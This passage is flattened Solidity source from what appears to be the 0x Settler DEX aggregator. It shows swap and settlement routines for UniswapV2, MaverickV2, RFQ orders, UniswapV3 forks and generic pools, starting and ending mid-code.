buyAmount; // If bps is zero we assume there are no funds within this contract, skip the updating sellAmount. // This case occurs if the pool is being chained, in which the funds have been sent directly to the pool if (bps != 0) { // We don't care about phantom overflow here because reserves are // limited to 112 bits. Any token balance that would overflow here would // also break UniV2. // It is *possible* to set `bps` above the basis and therefore // cause an overflow on this multiplication. However, `bps` is // passed as authenticated calldata, so this is a GIGO error that we // do not attempt to fix. unchecked { sellAmount = IERC20(sellToken).fastBalanceOf(address(this)) * bps / BASIS; } } assembly ("memory-safe") { let ptr := mload(0x40) // transfer sellAmount (a non zero amount) of sellToken to the pool if sellAmount { mstore(ptr, ERC20_TRANSFER_SELECTOR) mstore(add(ptr, 0x20), pool) mstore(add(ptr, 0x40), sellAmount) // ...||ERC20_TRANSFER_SELECTOR|pool|sellAmount| if iszero(call(gas(), sellToken, 0, add(ptr, 0x1c), 0x44, 0x00, 0x20)) { bubbleRevert(ptr) } if iszero(or(iszero(returndatasize()), and(iszero(lt(returndatasize(), 0x20)), eq(mload(0x00), 1)))) { revert(0, 0) } } // get pool reserves let sellReserve let buyReserve mstore(0x00, UNI_PAIR_RESERVES_SELECTOR) // ||UNI_PAIR_RESERVES_SELECTOR| if iszero(staticcall(gas(), pool, 0x1c, 0x04, 0x00, 0x40)) { bubbleRevert(ptr) } if lt(returndatasize(), 0x40) { revert(0, 0) } { let r := shl(5, zeroForOne) buyReserve := mload(r) sellReserve := mload(xor(0x20, r)) } // Update the sell amount in the following cases: // the funds are in the pool already (flagged by sellAmount being 0) // the sell token has a fee (flagged by sellTokenHasFee) if or(iszero(sellAmount), sellTokenHasFee) { // retrieve the sellToken balance of the pool mstore(0x00, ERC20_BALANCEOF_SELECTOR) mstore(0x20, and(0xffffffffffffffffffffffffffffffffffffffff, pool)) // ||ERC20_BALANCEOF_SELECTOR|pool| if iszero(staticcall(gas(), sellToken, 0x1c, 0x24, 0x00, 0x20)) { bubbleRevert(ptr) } if lt(returndatasize(), 0x20) { revert(0, 0) } let bal := mload(0x00) // determine real sellAmount by comparing pool's sellToken balance to reserve amount if lt(bal, sellReserve) { mstore(0x00, 0x4e487b71) // selector for `Panic(uint256)` mstore(0x20, 0x11) // panic code for arithmetic underflow revert(0x1c, 0x24) } sellAmount := sub(bal, sellReserve) } // compute buyAmount based on sellAmount and reserves let sellAmountWithFee := mul(sellAmount, sub(10000, feeBps)) buyAmount := div(mul(sellAmountWithFee, buyReserve), add(sellAmountWithFee, mul(sellReserve, 10000))) let swapCalldata := add(ptr, 0x1c) // set up swap call selector and empty callback data mstore(ptr, UNI_PAIR_SWAP_SELECTOR) mstore(add(ptr, 0x80), 0x80) // offset to length of data mstore(add(ptr, 0xa0), 0) // length of data // set amount0Out and amount1Out { // If `zeroForOne`, offset is 0x24, else 0x04 let offset := add(0x04, shl(5, zeroForOne)) mstore(add(swapCalldata, offset), buyAmount) mstore(add(swapCalldata, xor(0x20, offset)), 0) } mstore(add(swapCalldata, 0x44), and(0xffffffffffffffffffffffffffffffffffffffff, recipient)) // ...||UNI_PAIR_SWAP_SELECTOR|amount0Out|amount1Out|recipient|data| // perform swap at the pool sending bought tokens to the recipient if iszero(call(gas(), pool, 0, swapCalldata, 0xa4, 0, 0)) { bubbleRevert(swapCalldata) } // revert with the return data from the most recent call function bubbleRevert(p) { returndatacopy(p, 0, returndatasize()) revert(p, returndatasize()) } } if (buyAmount < minBuyAmount) { revertTooMuchSlippage( IERC20(zeroForOne ? IUniV2Pair(pool).token1() : IUniV2Pair(pool).token0()), minBuyAmount, buyAmount ); } } } // src/core/MaverickV2.sol // Maverick AMM V2 is not open-source. The source code was disclosed to the // developers of 0x Settler confidentially and recompiled privately. The // deployed bytecode inithash matches the privately recompiled inithash. bytes32 constant maverickV2InitHash = 0xbb7b783eb4b8ca46925c5384a6b9919df57cb83da8f76e37291f58d0dd5c439a; // https://docs.mav.xyz/technical-reference/contract-addresses/v2-contract-addresses // For chains: mainnet, base, bnb, arbitrum, scroll, sepolia address constant maverickV2Factory = 0x0A7e848Aca42d879EF06507Fca0E7b33A0a63c1e; interface IMaverickV2Pool { /** * @notice Parameters for swap. * @param amount Amount of the token that is either the input if exactOutput is false * or the output if exactOutput is true. * @param tokenAIn Boolean indicating whether tokenA is the input. * @param exactOutput Boolean indicating whether the amount specified is * the exact output amount (true). * @param tickLimit The furthest tick a swap will execute in. If no limit * is desired, value should be set to type(int32).max for a tokenAIn swap * and type(int32).min for a swap where tokenB is the input. */ struct SwapParams { uint256 amount; bool tokenAIn; bool exactOutput; int32 tickLimit; } /** * @notice Swap tokenA/tokenB assets in the pool. The swap user has two * options for funding their swap. * - The user can push the input token amount to the pool before calling * the swap function. In order to avoid having the pool call the callback, * the user should pass a zero-length `data` bytes object with the swap * call. * - The user can send the input token amount to the pool when the pool * calls the `maverickV2SwapCallback` function on the calling contract. * That callback has input parameters that specify the token address of the * input token, the input and output amounts, and the bytes data sent to * the swap function. * @dev If the users elects to do a callback-based swap, the output * assets will be sent before the callback is called, allowing the user to * execute flash swaps. However, the pool does have reentrancy protection, * so a swapper will not be able to interact with the same pool again * while they are in the callback function. * @param recipient The address to receive the output tokens. * @param params Parameters containing the details of the swap * @param data Bytes information that gets passed to the callback. */ function swap(address recipient, SwapParams calldata params, bytes calldata data) external returns (uint256 amountIn, uint256 amountOut); /** * @notice Pool tokenA. Address of tokenA is such that tokenA < tokenB. */ function tokenA() external view returns (IERC20); /** * @notice Pool tokenB. */ function tokenB() external view returns (IERC20); /** * @notice State of the pool. * @param reserveA Pool tokenA balanceOf at end of last operation * @param reserveB Pool tokenB balanceOf at end of last operation * @param lastTwaD8 Value of log time weighted average price at last block. * Value is 8-decimal scale and is in the fractional tick domain. E.g. a * value of 12.3e8 indicates the TWAP was 3/10ths of the way into the 12th * tick. * @param lastLogPriceD8 Value of log price at last block. Value is * 8-decimal scale and is in the fractional tick domain. E.g. a value of * 12.3e8 indicates the price was 3/10ths of the way into the 12th tick. * @param lastTimestamp Last block.timestamp value in seconds for latest * swap transaction. * @param activeTick Current tick position that contains the active bins. * @param isLocked Pool isLocked, E.g., locked or unlocked; isLocked values * defined in Pool.sol. * @param binCounter Index of the last bin created. * @param protocolFeeRatioD3 Ratio of the swap fee that is kept for the * protocol. */ struct State { uint128 reserveA; uint128 reserveB; int64 lastTwaD8; int64 lastLogPriceD8; uint40 lastTimestamp; int32 activeTick; bool isLocked; uint32 binCounter; uint8 protocolFeeRatioD3; } /** * @notice External function to get the state of the pool. */ function getState() external view returns (State memory); } interface IMaverickV2SwapCallback { function maverickV2SwapCallback(IERC20 tokenIn, uint256 amountIn, uint256 amountOut, bytes calldata data) external; } abstract contract MaverickV2 is SettlerAbstract { using UnsafeMath for uint256; using SafeTransferLib for IERC20; function _encodeSwapCallback(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig) internal view returns (bytes memory result) { bool isForwarded = _isForwarded(); assembly ("memory-safe") { result := mload(0x40) mcopy(add(0x20, result), mload(permit), 0x40) mcopy(add(0x60, result), add(0x20, permit), 0x40) mstore8(add(0xa0, result), isForwarded) let sigLength := mload(sig) mcopy(add(0xa1, result), add(0x20, sig), sigLength) mstore(result, add(0x81, sigLength)) mstore(0x40, add(sigLength, add(0xa1, result))) } } function sellToMaverickV2VIP( address recipient, bytes32 salt, bool tokenAIn, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) internal returns (uint256 buyAmount) { bytes memory swapCallbackData = _encodeSwapCallback(permit, sig); address pool = AddressDerivation.deriveDeterministicContract(maverickV2Factory, salt, maverickV2InitHash); (, buyAmount) = abi.decode( _setOperatorAndCall( pool, abi.encodeCall( IMaverickV2Pool.swap, ( recipient, IMaverickV2Pool.SwapParams({ amount: _permitToSellAmount(permit), tokenAIn: tokenAIn, exactOutput: false, // TODO: actually set a tick limit so that we can partial fill tickLimit: tokenAIn ? type(int32).max : type(int32).min }), swapCallbackData ) ), uint32(IMaverickV2SwapCallback.maverickV2SwapCallback.selector), _maverickV2Callback ), (uint256, uint256) ); if (buyAmount < minBuyAmount) { IERC20 buyToken = tokenAIn ? IMaverickV2Pool(pool).tokenB() : IMaverickV2Pool(pool).tokenA(); revertTooMuchSlippage(buyToken, minBuyAmount, buyAmount); } } function sellToMaverickV2( address recipient, IERC20 sellToken, uint256 bps, IMaverickV2Pool pool, bool tokenAIn, uint256 minBuyAmount ) internal returns (uint256 buyAmount) { uint256 sellAmount; if (bps != 0) { unchecked { // We don't care about phantom overflow here because reserves // are limited to 128 bits. Any token balance that would // overflow here would also break MaverickV2. sellAmount = (sellToken.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); } } if (sellAmount == 0) { sellAmount = sellToken.fastBalanceOf(address(pool)); IMaverickV2Pool.State memory poolState = pool.getState(); unchecked { sellAmount -= tokenAIn ? poolState.reserveA : poolState.reserveB; } } else { sellToken.safeTransfer(address(pool), sellAmount); } (, buyAmount) = pool.swap( recipient, IMaverickV2Pool.SwapParams({ amount: sellAmount, tokenAIn: tokenAIn, exactOutput: false, // TODO: actually set a tick limit so that we can partial fill tickLimit: tokenAIn ? type(int32).max : type(int32).min }), new bytes(0) ); if (buyAmount < minBuyAmount) { revertTooMuchSlippage(tokenAIn ? pool.tokenB() : pool.tokenA(), minBuyAmount, buyAmount); } } function _maverickV2Callback(bytes calldata data) private returns (bytes memory) { require(data.length >= 0xa0); IERC20 tokenIn; uint256 amountIn; assembly ("memory-safe") { // we don't bother checking for dirty bits because we trust the // initcode (by its hash) to produce well-behaved bytecode that // produces strict ABI-encoded calldata tokenIn := calldataload(data.offset) amountIn := calldataload(add(0x20, data.offset)) // likewise, we don't bother to perform the indirection to find the // nested data. we just index directly to it because we know that // the pool follows strict ABI encoding data.length := calldataload(add(0x80, data.offset)) data.offset := add(0xa0, data.offset) } maverickV2SwapCallback( tokenIn, amountIn, // forgefmt: disable-next-line 0 /* we didn't bother loading `amountOut` because we don't use it */, data ); return new bytes(0); } // forgefmt: disable-next-line function maverickV2SwapCallback(IERC20 tokenIn, uint256 amountIn, uint256 /* amountOut */, bytes calldata data) private { ISignatureTransfer.PermitTransferFrom calldata permit; bool isForwarded; assembly ("memory-safe") { permit := data.offset isForwarded := and(0x01, calldataload(add(0x61, data.offset))) data.offset := add(0x81, data.offset) data.length := sub(data.length, 0x81) } assert(tokenIn == IERC20(permit.permitted.token)); ISignatureTransfer.SignatureTransferDetails memory transferDetails = ISignatureTransfer.SignatureTransferDetails({to: msg.sender, requestedAmount: amountIn}); _transferFrom(permit, transferDetails, data, isForwarded); } } // src/core/RfqOrderSettlement.sol abstract contract RfqOrderSettlement is SettlerAbstract { using Ternary for bool; using SafeTransferLib for IERC20; using FullMath for uint256; struct Consideration { IERC20 token; uint256 amount; address counterparty; bool partialFillAllowed; } string internal constant CONSIDERATION_TYPE = "Consideration(address token,uint256 amount,address counterparty,bool partialFillAllowed)"; // `string.concat` isn't recognized by solc as compile-time constant, but `abi.encodePacked` is string internal constant CONSIDERATION_WITNESS = string(abi.encodePacked("Consideration consideration)", CONSIDERATION_TYPE, TOKEN_PERMISSIONS_TYPE)); bytes32 internal constant CONSIDERATION_TYPEHASH = 0x7d806873084f389a66fd0315dead7adaad8ae6e8b6cf9fb0d3db61e5a91c3ffa; string internal constant RFQ_ORDER_TYPE = "RfqOrder(Consideration makerConsideration,Consideration takerConsideration)"; string internal constant RFQ_ORDER_TYPE_RECURSIVE = string(abi.encodePacked(RFQ_ORDER_TYPE, CONSIDERATION_TYPE)); bytes32 internal constant RFQ_ORDER_TYPEHASH = 0x49fa719b76f0f6b7e76be94b56c26671a548e1c712d5b13dc2874f70a7598276; function _hashConsideration(Consideration memory consideration) internal pure returns (bytes32 result) { assembly ("memory-safe") { let ptr := sub(consideration, 0x20) let oldValue := mload(ptr) mstore(ptr, CONSIDERATION_TYPEHASH) result := keccak256(ptr, 0xa0) mstore(ptr, oldValue) } } function _logRfqOrder(bytes32 makerConsiderationHash, bytes32 takerConsiderationHash, uint128 makerFilledAmount) private { assembly ("memory-safe") { mstore(0x00, RFQ_ORDER_TYPEHASH) mstore(0x20, makerConsiderationHash) let ptr := mload(0x40) mstore(0x40, takerConsiderationHash) let orderHash := keccak256(0x00, 0x60) mstore(0x40, ptr) mstore(0x10, makerFilledAmount) mstore(0x00, orderHash) log0(0x00, 0x30) } } constructor() { assert(CONSIDERATION_TYPEHASH == keccak256(bytes(CONSIDERATION_TYPE))); assert(RFQ_ORDER_TYPEHASH == keccak256(bytes(RFQ_ORDER_TYPE_RECURSIVE))); } /// @dev Settle an RfqOrder between maker and taker transfering funds directly between the counterparties. Either /// two Permit2 signatures are consumed, with the maker Permit2 containing a witness of the RfqOrder, or /// AllowanceHolder is supported for the taker payment. The Maker has signed the same order as the /// Taker. Submission may be directly by the taker or via a third party with the Taker signing a witness. /// @dev if used, the taker's witness is not calculated nor verified here as calling function is trusted function fillRfqOrderVIP( address recipient, ISignatureTransfer.PermitTransferFrom memory makerPermit, address maker, bytes memory makerSig, ISignatureTransfer.PermitTransferFrom memory takerPermit, bytes memory takerSig ) internal { if (!_hasMetaTxn()) { assert(makerPermit.permitted.amount <= type(uint256).max - BASIS); } (ISignatureTransfer.SignatureTransferDetails memory makerTransferDetails, uint256 makerAmount) = _permitToTransferDetails(makerPermit, recipient); // In theory, the taker permit could invoke the balance-proportional sell amount logic. However, // because we hash the sell amount computed here into the maker's consideration (witness) only a // balance-proportional sell amount that corresponds exactly to the signed order would avoid a // revert. In other words, no unexpected behavior is possible. It's pointless to prohibit the // use of that logic. (ISignatureTransfer.SignatureTransferDetails memory takerTransferDetails, uint256 takerAmount) = _permitToTransferDetails(takerPermit, maker); bytes32 witness = _hashConsideration( Consideration({ token: IERC20(takerPermit.permitted.token), amount: takerAmount, counterparty: _msgSender(), partialFillAllowed: false }) ); _transferFrom(takerPermit, takerTransferDetails, takerSig); _transferFromIKnowWhatImDoing( makerPermit, makerTransferDetails, maker, witness, CONSIDERATION_WITNESS, makerSig, false ); _logRfqOrder( witness, _hashConsideration( Consideration({ token: IERC20(makerPermit.permitted.token), amount: makerAmount, counterparty: maker, partialFillAllowed: false }) ), uint128(makerAmount) ); } /// @dev Settle an RfqOrder between maker and Settler retaining funds in this contract. /// @dev pre-condition: msgSender has been authenticated against the requestor /// One Permit2 signature is consumed, with the maker Permit2 containing a witness of the RfqOrder. // In this variant, Maker pays recipient and Settler pays Maker function fillRfqOrderSelfFunded( address recipient, ISignatureTransfer.PermitTransferFrom memory permit, address maker, bytes memory makerSig, IERC20 takerToken, uint256 maxTakerAmount ) internal { if (!_hasMetaTxn()) { assert(permit.permitted.amount <= type(uint256).max - BASIS); } // Compute witnesses. These are based on the quoted maximum amounts. We will modify them // later to adjust for the actual settled amount, which may be modified by encountered // slippage. (ISignatureTransfer.SignatureTransferDetails memory transferDetails, uint256 makerAmount) = _permitToTransferDetails(permit, recipient); bytes32 takerWitness = _hashConsideration( Consideration({ token: IERC20(permit.permitted.token), amount: makerAmount, counterparty: maker, partialFillAllowed: true }) ); bytes32 makerWitness = _hashConsideration( Consideration({ token: takerToken, amount: maxTakerAmount, counterparty: _msgSender(), partialFillAllowed: true }) ); // Now we adjust the transfer amounts to compensate for encountered slippage. Rounding is // performed in the maker's favor. uint256 takerAmount = takerToken.fastBalanceOf(address(this)); takerAmount = (takerAmount > maxTakerAmount).ternary(maxTakerAmount, takerAmount); transferDetails.requestedAmount = makerAmount = makerAmount.unsafeMulDiv(takerAmount, maxTakerAmount); // Now that we have all the relevant information, make the transfers and log the order. takerToken.safeTransfer(maker, takerAmount); _transferFromIKnowWhatImDoing( permit, transferDetails, maker, makerWitness, CONSIDERATION_WITNESS, makerSig, false ); _logRfqOrder(makerWitness, takerWitness, uint128(makerAmount)); } } // src/core/UniswapV3Fork.sol interface IUniswapV3Pool { /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), /// or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); } abstract contract UniswapV3Fork is SettlerAbstract { using UnsafeMath for uint256; using UnsafeMath for int256; using SafeTransferLib for IERC20; /// @dev Minimum size of an encoded swap path: /// sizeof(address(inputToken) | uint8(forkId) | uint24(poolId) | address(outputToken)) uint256 private constant SINGLE_HOP_PATH_SIZE = 0x2c; /// @dev How many bytes to skip ahead in an encoded path to start at the next hop: /// sizeof(address(inputToken) | uint8(forkId) | uint24(poolId)) uint256 private constant PATH_SKIP_HOP_SIZE = 0x18; /// @dev The size of the swap callback prefix data before the Permit2 data. uint256 private constant SWAP_CALLBACK_PREFIX_DATA_SIZE = 0x28; /// @dev The offset from the pointer to the length of the swap callback prefix data to the start of the Permit2 data. uint256 private constant SWAP_CALLBACK_PERMIT2DATA_OFFSET = 0x48; uint256 private constant PERMIT_DATA_SIZE = 0x60; uint256 private constant ISFORWARDED_DATA_SIZE = 0x01; /// @dev Minimum tick price sqrt ratio. uint160 private constant MIN_PRICE_SQRT_RATIO = 4295128739; /// @dev Minimum tick price sqrt ratio. uint160 private constant MAX_PRICE_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @dev Mask of lower 20 bytes. uint256 private constant ADDRESS_MASK = 0x00ffffffffffffffffffffffffffffffffffffffff; /// @dev Mask of lower 3 bytes. uint256 private constant UINT24_MASK = 0xffffff; /// @dev Sell a token for another token directly against uniswap v3. /// @param encodedPath Uniswap-encoded path. /// @param bps proportion of current balance of the first token in the path to sell. /// @param minBuyAmount Minimum amount of the last token in the path to buy. /// @param recipient The recipient of the bought tokens. /// @return buyAmount Amount of the last token in the path bought. function sellToUniswapV3(address recipient, uint256 bps, bytes memory encodedPath, uint256 minBuyAmount) internal returns (uint256 buyAmount) { buyAmount = _uniV3ForkSwap( recipient, encodedPath, // We don't care about phantom overflow here because reserves are // limited to 128 bits. Any token balance that would overflow here // would also break UniV3. (IERC20(address(bytes20(encodedPath))).fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS), minBuyAmount, address(this), // payer new bytes(SWAP_CALLBACK_PREFIX_DATA_SIZE) ); } /// @dev Sell a token for another token directly against uniswap v3. Payment is using a Permit2 signature (or AllowanceHolder). /// @param encodedPath Uniswap-encoded path. /// @param minBuyAmount Minimum amount of the last token in the path to buy. /// @param recipient The recipient of the bought tokens. /// @param permit The PermitTransferFrom allowing this contract to spend the taker's tokens /// @param sig The taker's signature for Permit2 /// @return buyAmount Amount of the last token in the path bought. function sellToUniswapV3VIP( address recipient, bytes memory encodedPath, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) internal returns (uint256 buyAmount) { bytes memory swapCallbackData = new bytes(SWAP_CALLBACK_PREFIX_DATA_SIZE + PERMIT_DATA_SIZE + ISFORWARDED_DATA_SIZE + sig.length); _encodePermit2Data(swapCallbackData, permit, sig, _isForwarded()); buyAmount = _uniV3ForkSwap( recipient, encodedPath, _permitToSellAmount(permit), minBuyAmount, address(0), // payer swapCallbackData ); } // Executes successive swaps along an encoded uniswap path. function _uniV3ForkSwap( address recipient, bytes memory encodedPath, uint256 sellAmount, uint256 minBuyAmount, address payer, bytes memory swapCallbackData ) internal returns (uint256 buyAmount) { if (sellAmount > uint256(type(int256).max)) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } IERC20 outputToken; while (true) { bool isPathMultiHop = _isPathMultiHop(encodedPath); bool zeroForOne; IUniswapV3Pool pool; uint32 callbackSelector; { (IERC20 token0, uint8 forkId, uint24 poolId, IERC20 token1) = _decodeFirstPoolInfoFromPath(encodedPath); IERC20 sellToken = token0; outputToken = token1; if (!(zeroForOne = token0 < token1)) { (token0, token1) = (token1, token0); } address factory; bytes32 initHash; (factory, initHash, callbackSelector) = _uniV3ForkInfo(forkId); pool = _toPool(factory, initHash, token0, token1, poolId); _updateSwapCallbackData(swapCallbackData, sellToken, payer); } int256 amount0; int256 amount1; if (isPathMultiHop) { uint256 freeMemPtr; assembly ("memory-safe") { freeMemPtr := mload(0x40) } (amount0, amount1) = abi.decode( _setOperatorAndCall( address(pool), abi.encodeCall( pool.swap, ( // Intermediate tokens go to this contract. address(this), zeroForOne, int256(sellAmount), zeroForOne ? MIN_PRICE_SQRT_RATIO + 1 : MAX_PRICE_SQRT_RATIO - 1, swapCallbackData ) ), callbackSelector, _uniV3ForkCallback ), (int256, int256) ); assembly ("memory-safe") { mstore(0x40, freeMemPtr) } } else { (amount0, amount1) = abi.decode( _setOperatorAndCall( address(pool), abi.encodeCall( pool.swap, ( recipient, zeroForOne, int256(sellAmount), zeroForOne ? MIN_PRICE_SQRT_RATIO + 1 : MAX_PRICE_SQRT_RATIO - 1, swapCallbackData ) ), callbackSelector, _uniV3ForkCallback ), (int256, int256) ); } { int256 _buyAmount = (zeroForOne ? amount1 : amount0).unsafeNeg(); if (_buyAmount < 0) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } buyAmount = uint256(_buyAmount); } if (!isPathMultiHop) { // Done. break; } // Continue with next hop. payer = address(this); // Subsequent hops are paid for by us. sellAmount = buyAmount; // Skip to next hop along path. encodedPath = _shiftHopFromPathInPlace(encodedPath); assembly ("memory-safe") { mstore(swapCallbackData, SWAP_CALLBACK_PREFIX_DATA_SIZE) } } if (buyAmount < minBuyAmount) { revertTooMuchSlippage(outputToken, minBuyAmount, buyAmount); } } // Return whether or not an encoded uniswap path contains more than one hop. function _isPathMultiHop(bytes memory encodedPath) private pure returns (bool) { return encodedPath.length > SINGLE_HOP_PATH_SIZE; } function _decodeFirstPoolInfoFromPath(bytes memory encodedPath) private pure returns (IERC20 inputToken, uint8 forkId, uint24 poolId, IERC20 outputToken) { if (encodedPath.length < SINGLE_HOP_PATH_SIZE) { Panic.panic(Panic.ARRAY_OUT_OF_BOUNDS); } assembly ("memory-safe") { // Solidity cleans dirty bits automatically inputToken := mload(add(encodedPath, 0x14)) forkId := mload(add(encodedPath, 0x15)) poolId := mload(add(encodedPath, 0x18)) outputToken := mload(add(encodedPath, SINGLE_HOP_PATH_SIZE)) } } // Skip past the first hop of an encoded uniswap path in-place. function _shiftHopFromPathInPlace(bytes memory encodedPath) private pure returns (bytes memory) { if (encodedPath.length < PATH_SKIP_HOP_SIZE) { Panic.panic(Panic.ARRAY_OUT_OF_BOUNDS); } assembly ("memory-safe") { let length := sub(mload(encodedPath), PATH_SKIP_HOP_SIZE) encodedPath := add(encodedPath, PATH_SKIP_HOP_SIZE) mstore(encodedPath, length) } return encodedPath; } function _encodePermit2Data( bytes memory swapCallbackData, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, bool isForwarded ) private pure { assembly ("memory-safe") { mstore(add(SWAP_CALLBACK_PERMIT2DATA_OFFSET, swapCallbackData), mload(add(0x20, mload(permit)))) mcopy(add(add(SWAP_CALLBACK_PERMIT2DATA_OFFSET, 0x20), swapCallbackData), add(0x20, permit), 0x40) mstore8(add(add(SWAP_CALLBACK_PERMIT2DATA_OFFSET, PERMIT_DATA_SIZE), swapCallbackData), isForwarded) mcopy( add( add(add(SWAP_CALLBACK_PERMIT2DATA_OFFSET, PERMIT_DATA_SIZE), ISFORWARDED_DATA_SIZE), swapCallbackData ), add(0x20, sig), mload(sig) ) } } // Update `swapCallbackData` in place with new values. function _updateSwapCallbackData(bytes memory swapCallbackData, IERC20 sellToken, address payer) private pure { assembly ("memory-safe") { let length := mload(swapCallbackData) mstore(add(0x28, swapCallbackData), sellToken) mstore(add(0x14, swapCallbackData), payer) mstore(swapCallbackData, length) } } // Compute the pool address given two tokens and a poolId. function _toPool(address factory, bytes32 initHash, IERC20 token0, IERC20 token1, uint24 poolId) private pure returns (IUniswapV3Pool) { // address(keccak256(abi.encodePacked( // hex"ff", // factory, // keccak256(abi.encode(token0, token1, poolId)), // initHash // ))) bytes32 salt; assembly ("memory-safe") { token0 := and(ADDRESS_MASK, token0) token1 := and(ADDRESS_MASK, token1) poolId := and(UINT24_MASK, poolId) let ptr := mload(0x40) mstore(0x00, token0) mstore(0x20, token1) mstore(0x40, poolId) salt := keccak256(0x00, sub(0x60, shl(0x05, iszero(poolId)))) mstore(0x40, ptr) } return IUniswapV3Pool(AddressDerivation.deriveDeterministicContract(factory, salt, initHash)); } function _uniV3ForkInfo(uint8 forkId) internal view virtual returns (address, bytes32, uint32); function _uniV3ForkCallback(bytes calldata data) private returns (bytes memory) { require(data.length >= 0x80); int256 amount0Delta; int256 amount1Delta; assembly ("memory-safe") { amount0Delta := calldataload(data.offset) amount1Delta := calldataload(add(0x20, data.offset)) data.offset := add(data.offset, calldataload(add(0x40, data.offset))) data.length := calldataload(data.offset) data.offset := add(0x20, data.offset) } uniswapV3SwapCallback(amount0Delta, amount1Delta, data); return new bytes(0); } /// @dev The UniswapV3 pool swap callback which pays the funds requested /// by the caller/pool to the pool. Can only be called by a valid /// UniswapV3 pool. /// @param amount0Delta Token0 amount owed. /// @param amount1Delta Token1 amount owed. /// @param data Arbitrary data forwarded from swap() caller. A packed encoding of: payer, sellToken, (optionally: permit[0x20:], isForwarded, sig) function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) private { address payer; assembly ("memory-safe") { payer := shr(0x60, calldataload(data.offset)) data.length := sub(data.length, 0x14) data.offset := add(0x14, data.offset) // We don't check for underflow/array-out-of-bounds here because the trusted inithash // ensures that `data` was passed unmodified from `_updateSwapCallbackData`. Therefore, // it is at least 40 bytes long. } uint256 sellAmount = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta); _pay(payer, sellAmount, data); } function _pay(address payer, uint256 amount, bytes calldata permit2Data) private { if (payer == address(this)) { IERC20 token; assembly ("memory-safe") { token := shr(0x60, calldataload(permit2Data.offset)) } token.safeTransfer(msg.sender, amount); } else { assert(payer == address(0)); ISignatureTransfer.PermitTransferFrom calldata permit; bool isForwarded; bytes calldata sig; assembly ("memory-safe") { // this is super dirty, but it works because although `permit` is aliasing in the // middle of `payer`, because `payer` is all zeroes, it's treated as padding for the // first word of `permit`, which is the sell token permit := sub(permit2Data.offset, 0x0c) isForwarded := and(0x01, calldataload(add(0x55, permit2Data.offset))) sig.offset := add(0x75, permit2Data.offset) sig.length := sub(permit2Data.length, 0x75) } ISignatureTransfer.SignatureTransferDetails memory transferDetails = ISignatureTransfer.SignatureTransferDetails({to: msg.sender, requestedAmount: amount}); _transferFrom(permit, transferDetails, sig, isForwarded); } } } // src/core/Basic.sol abstract contract Basic is SettlerAbstract { using UnsafeMath for uint256; using SafeTransferLib for IERC20; using FullMath for uint256; using Revert for bool; /// @dev Sell to a pool with a generic approval, transferFrom interaction. /// offset in the calldata is used to update the sellAmount given a proportion of the sellToken balance function basicSellToPool(IERC20 sellToken, uint256 bps, address pool, uint256 offset, bytes memory data) internal { if (_isRestrictedTarget(pool)) { assembly ("memory-safe") { mstore(0x00, 0xe758b8d5) // selector for `ConfusedDeputy()` revert(0x1c, 0x04) } } bool success; bytes memory returnData; uint256 value; if (sellToken == ETH_ADDRESS) { value = (address(this).balance * bps).unsafeDiv(BASIS); if (data.length == 0) { if (offset != 0) revert InvalidOffset(); (success, returnData) = payable(pool).call{value: value}(""); success.maybeRevert(returnData); return; } else { if ((offset += 32) > data.length) { Panic.panic(Panic.ARRAY_OUT_OF_BOUNDS); } assembly ("memory-safe") { mstore(add(data, offset), value) } } } else if (address(sellToken) == address(0)) { // TODO: check for zero `bps` if (offset != 0) revert InvalidOffset(); } else { uint256 amount = sellToken.fastBalanceOf(address(this)).mulDiv(bps, BASIS); if ((offset += 32) > data.length) { Panic.panic(Panic.ARRAY_OUT_OF_BOUNDS); } assembly ("memory-safe") { mstore(add(data, offset), amount) } if (address(sellToken) != pool) { sellToken.safeApproveIfBelow(pool, amount); } } (success, returnData) = payable(pool).call{value: value}(data); success.maybeRevert(returnData); // forbid sending data to EOAs if (returnData.length == 0 && pool.code.length == 0) revert InvalidTarget(); } } // src/core/Velodrome.sol //import {Panic} from "../utils/Panic.sol"; interface IVelodromePair { function metadata() external view returns ( uint256 basis0, uint256 basis1, uint256 reserve0, uint256 reserve1, bool stable, IERC20 token0, IERC20 token1 ); function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; } abstract contract Velodrome is SettlerAbstract { using Math_0 for uint256; using UnsafeMath for uint256; using FastLogic for bool; using FullMath for uint256; using SafeTransferLib for IERC20; // This is the basis used for token balances. The original token may have fewer decimals, in // which case we scale up by the appropriate factor to give this basis. uint256 internal constant _VELODROME_TOKEN_BASIS = 1 ether; // When computing `k`, to minimize rounding error, we use a significantly larger basis. This // also allows us to save work in the Newton-Raphson step because dividing a quantity with this // basis by a quantity with `_VELODROME_TOKEN_BASIS` basis gives that same // `_VELODROME_TOKEN_BASIS` basis. Convenient *and* accurate. uint256 private constant _VELODROME_INTERNAL_BASIS = _VELODROME_TOKEN_BASIS * _VELODROME_TOKEN_BASIS; uint256 private constant _VELODROME_INTERNAL_TO_TOKEN_RATIO = _VELODROME_INTERNAL_BASIS / _VELODROME_TOKEN_BASIS; // When computing `d` we need to compute the cube of a token quantity and format the result with // 